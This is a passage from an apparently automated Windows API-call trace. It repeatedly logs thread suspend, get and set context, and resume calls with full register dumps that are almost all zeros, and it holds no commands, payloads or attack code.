[184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0157.888] ResumeThread (hThread=0x194) returned 0x1 [0157.888] CloseHandle (hObject=0x194) returned 1 [0157.888] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.018] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0158.018] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.117] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.215] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0158.216] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0158.216] SuspendThread (hThread=0x194) returned 0x0 [0158.216] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000043730, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f892780, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0158.218] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000043728, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0158.218] ResumeThread (hThread=0x194) returned 0x1 [0158.218] CloseHandle (hObject=0x194) returned 1 [0158.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.318] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.427] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0158.427] SuspendThread (hThread=0x194) returned 0x0 [0158.427] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000043580, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13faaf2c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0158.429] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000043578, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0158.429] ResumeThread (hThread=0x194) returned 0x1 [0158.430] CloseHandle (hObject=0x194) returned 1 [0158.430] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.662] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0158.778] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0158.778] SuspendThread (hThread=0x194) returned 0x0 [0158.778] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b1300, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f7524e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, 